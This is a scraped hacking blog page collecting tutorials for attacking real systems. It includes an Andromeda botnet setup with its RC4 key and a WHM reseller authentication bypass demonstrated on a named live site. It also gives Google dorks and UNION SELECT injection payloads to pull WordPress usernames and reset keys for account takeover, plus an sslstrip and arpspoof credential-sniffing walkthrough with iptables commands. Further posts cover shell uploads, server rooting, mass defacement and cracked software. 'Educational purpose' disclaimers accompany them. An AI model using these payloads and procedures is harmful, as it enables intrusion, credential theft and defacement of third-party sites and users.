HackerzAdda

Hello friends today ill show you to to exploit vBulletin 4.x.x and 5.x.x Upgrade 0day Exploit vulnerability to shell vBulletin

Script
Download

What is botnet?

A botnet is a collection of infected computers which are known as Zombies.
computer admin is unware of it. with a Huge collection of bots(zombies)
the botnet becomes more powerful.
it can be used for stealing data , sniff forms,keyloggers,bitcoin mining ,ddos attacks etc!
two types of botnets are there "http" and "IRC" botnets here i am showing you http botnet.

Tutorial : How to setup Andromeda botnet on a webhosting!!

Hello,
I will be showing you guys how to setup Andromeda botnet correctly.

Download Andromeda botnet v2.0

In RC4 Key type this:

Code:

d40e75961383124949436f37f45a8cb6

ROOT A SERVER WITHOUT ANY EXPLOIT VIA WHMCS BY TUT BY SEN HAXOR

Download the video from below link
http://zyan.me/rbyzB

Download this fully editable intro template and edit it with the text and sound you want
http://zyan.me/hrpRs

Hie :)

Today We are Going to Bypass WHM Authentication of Reseller Accounts !

For This We Need Shell On The Reseller Account !! i.e Shell On Reseller's Domain !

Note 1:
For Identification of Reseller Account ! We have 2 Page in "Public_html" Dir With Name "moving.page" And "suspended.page"

Note 2:
its Not Necessary Reseller Account is Hosting Domain .. It can Be Normal Site Also .. In my case Its Normal Domain
i.e http://i-nom.eu which is using Open-cart CMS !!

i will teach u how to shell Open-Cart CMS in Next Tut's :)

So now
We have 1 shell on reseller Account

http://i-nom.eu/404.php

And Now Our Current Path Is "/home/inom/public_html/"

Now Just Go Back 1 Directory !! So Now We are Here "/home/inom/"

Now Here Make 1 File With Name ".accesshash" Which Contain U r Password "123456" . U can Change iT With Yours :)

Now Its Looks Like "/home/reseller/.accesshash"

Now Download 1 Mozilla Addon Called "Modify Headers"

https://addons.mozilla.org/en-us/firefox/addon/modify-headers/

Now Start Modify Header And Add 1 Hedder With Following Value :
Name : "Authorization" Value : "WHM inom:123456"

Here "WHM" For "WHM Panel" And "inom" In my case Its Inom is My "UserName" And "123456" is Our "Accesshash"

Now cLick oN Add Tab for Adding It ! :)

And cLick on Start Button In Modify Hedder For Starting It !

Now Just Go To the That Reseller's Domain with This Port :2086

i.e "www.reseller.com:2086" In My Case Its http://i-nom.eu:2086

And U Will We In Without Any Authentication :D

For Video Lover's ! Here The Demo Of IT :)

Direct Download Link of The Video !

Direct Downloading Link 1 : http://adf.ly/MDoSh

Direct Downloading Link 2 : http://zyan.me/bMHXn

There is 1 more Method That i vl tell u in Further Tut's :)

Msg 2 My All LeeT Frnds :- Share u r knowledge Bro // Private Rakhne se Double Nahi Hoga :P

Hope U like It :)

For Any Query Or Advise Cmnt it :)

Here is a beautiful Tut From my dear friend H4x4rwOw on DNS HIJACKING

Recommended to download and watch
Download Here
Note:- Only for Educational purpose

HERE WE GO FINALLY MY MASTER TUT ON SHELL UPLOAD+BACK CONNECT+ROOTING+ MASS DEFACE ALL IN ONE VIDEO.. :)

THIS TUT IS DEDICATED TO ALL MY FRIENDS WHO HAVE HELPED ME TO REACH WHAT I AM TODAY IN THIS FIELD AND TO ALL WHO KEEP FOLLOWING AND VISITING MY WEBSITE...
FROM A LONG TIME WANTED TO MAKE THIS KINDA TUT FOR MY BEGINNER FRIENDS WHO STRUGGLE IN ALL THIS..
HOPE THIS WILL HELP YOU IN LEARNING

RECOMMENDED TO DOWNLOAD AND WATCH
Download
NOTE:- ONLY FOR EDUCATIONAL PURPOSE

HELLO FRIENDS TODAY IM SHARING A VIDEO TUT ON DECODING PHP LOCKIT SOFT ENCODED SCRIPT
IM SHOWING YOU E MANUAL WAY TO DO IT..
THINGS YOU REQUIRED TO DO IT
1. XAMPP
   http://www.apachefriends.org/en/xampp.html
2. NOTEPAD ++
    http://notepad-plus-plus.org/download/v6.2.2.html
3. HOW TO INSTALL XAMPP
    https://www.dropbox.com/s/m79dmvcmwwh0mwo/INSTALL%20XAMPP.ppt

HERE IS THE VIDEO TUT
NOTE:- WATCH IN FULL SCREEN FOR BETTER UNDERSTANDING

In this video you will learn how to hack joomla
Note:- This exploit only works on old version of joomla

Download and open the below file in your browser
http://zyan.me/wLVPv

Open it and edit it with your Username & Pass

Note:- you need to put different pass here password should not match

Follow the video for proper guidance and do the steps

As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.
watch this video tutorial for more help:

So lets begin.
I will use this 0day by JoinSeventh.

First of all we need to find a vulnerable page.
We enter this in Google:
Code:
# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:
Code:
http://www.website.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3

When i add ' text disappears so it is vulnerable.

NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:
Code:
http://www. website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.

We pick one and copy his email.
Go to the login page of the site.
It is usually here:
Code:
http://www.site.com/wp-login.php

And press "Lost your password?"

Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.

Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.

Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:

http://www. website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Code:

http://www. website .com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Voila!

Now we just need to reset it.

Go to:

Code:

wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login=

So my link will be:

Enter new password:

Login with new password and shell it.

THIS DEMOSTRATION IS ONLY FOR EDUCATIONAL PURPOSE!!!!!!!!
we will hack Email id and password & bypass https in this attack let see victims browser it is running on ssl .

now lets begin our attack


!)first run sslstrip

2)put ip in forward mode typ this :

echo 1 > /proc/sys/net/ipv4/ip_forward
3)now we will configure our iptables to port 10000 to redirect the packets on sslstrip because it is running on this port, type this:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

4)u can run nmap to find vul. ip & gateways but i will not use nmap as i know victim ip & gateway
5)now we will run arpspoof attack to get ol packets of victim
4)atlast we will run sslstrip tool:
ls
python sslstrip.py
python ssltrip.py -w log  [here log is the file where aal email & password will be stored]
sslstrip will start sniffing the passwords XDXDXD

to see the log file typ:
less log
thanxx!

Tutorial commands And steps:
Video tutorial : http://zyan.me/GdJRp

SOURCE:-http://devzcyberarena.blogspot.in

AUTHOR:-Devendra Saini

HELLO GUYS TODAY I'M SHARING A BEAUTIFUL VIDEO TUT MADE BY MY FRIEND ON CRACKING A SOFTWARE ALSO KNOWS AS "REVERSE ENGINEERING'.

THIS IS A BASIC TUT

Reverse engineering is basically the reverse process of Engineering. Software reverse engineering involves reversing a program’s machine code (the string of 0s and 1s that are sent to the logic processor) back into the source code that it was written in, using program language statements. Normally we use dissemblers to view the assembly language instructions of a software rather than binary code (0s and 1s) which are difficult to play around.

you can aslo reverse the keylogger/RAT servers to get the information of hacker u can play with many softwares which have no encryption nd good security :D!!

OllyDbg

OllyDbg

OllyDbg is a 32-bit assembler level analysing debugger for Microsoft^® Windows^®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. OllyDbg is a shareware, but you can download

TUTTORIAL BY Devendra Saini OWNER OF http://devzcyberarena.blogspot.in

Download link Updated Link!!!
https://www.dropbox.com/s/n8yoqbq2i0i3j6a/weevely.mp4

HELLO GUYS I HAVE ALREADY POSTED TUTS ON MANUAL SQL INJECTION AND SQL INJECTION VIA TOOL LIKE SQLMAP...

BUT TODAY ILL SHOW YOU HOW TO UPLOAD SHELL ONCE YOU HAVE THE ADMIN ACCESS :)

HERE IS THE VIDEO TUT

HOPE YOU GUYS FIND IT USEFUL

DOWNLOAD TAMPER DATA ADDON (GOOGLE IT)

http://zyan.me/hhrkC

Hello Guys this is a small r00ting video made by me long time back...

it will give you an idea how server is rooted....

Hope you like it :)

https://www.dropbox.com/s/qxqv4ltcctm2p2t/rooting.mp4

HELLO GUYS THIS IS AV
MANY OF YOU KNOW HOW TO MASS DEFACE AFTER ROOTING SERVER
BUT GUYS TODAY I'LL SHOW YOU HOW TO MASS DEFACE IT MANUALLY
WITHOUT ANY MASS DEFACING SCRIPT :))

DOWNLOAD THE VIDEO TUT FROM HERE

http://zyan.me/kgWtr

NOTE:- ONLY FOR EDUCATIONAL PURPOSE

Video Link
http://zyan.me/sFvXF

Source:HF
Hi,
I would share a video (special TNX to azma & AoRE), very useful for me to learn.
It is only for learning purpose!
Only Video Download:
http://zyan.me/cReUg
If you want to try, this is the Official Website link where you can download Acunetix:

http://www.acunetix.com/download/fullver8
User: acunetixwvsfullv8 Pass: nFu834!29bg_S2q

Software used to crack acuentix in the video: OllyDBG & PEexplorer

Hello Guys. Today Ill show you how to bypass symlink on a Web hosting of secured server and get access to its database.
And how to manually crack Web hosting and get whmcs access once you have database :)

Or download it from Here Updated link!!!
https://www.dropbox.com/s/vji3xjeskiyzsqy/Symlink%20and%20WHMCS%20Hacking%20by%20AV.mp4
NOTE;- Only for educational purpose ;)

HELLO EVERYONE TODAY ILL SHOW YOU A VIDEO ON HOW TO FLOOD SOMEONE'S FACEBOOK WALL WITH THE HELP OF LIVE HTTP HEADER ADDON

YOU CAN ALSO DOWNLOAD IT FORM HERE

http://www.mediafire.com/?sw81l550fd274hw

Friday, September 20, 2013

Friday, June 14, 2013

Sunday, April 7, 2013

Wednesday, April 3, 2013

Sunday, March 31, 2013

Sunday, March 24, 2013

Tuesday, March 12, 2013

Saturday, November 24, 2012

Wednesday, November 21, 2012

Friday, September 21, 2012

Tuesday, August 7, 2012

Saturday, August 4, 2012

Saturday, June 16, 2012

Sunday, June 10, 2012

Saturday, April 28, 2012

Friday, April 27, 2012

Wednesday, April 25, 2012

Sunday, April 15, 2012

Friday, April 13, 2012

Featured Post

ADF.LY ISSUE?

Subscribe Via Email

Popular Posts

Recent Comments

Followers

Labels

About Me

Total Pageviews

…

…

…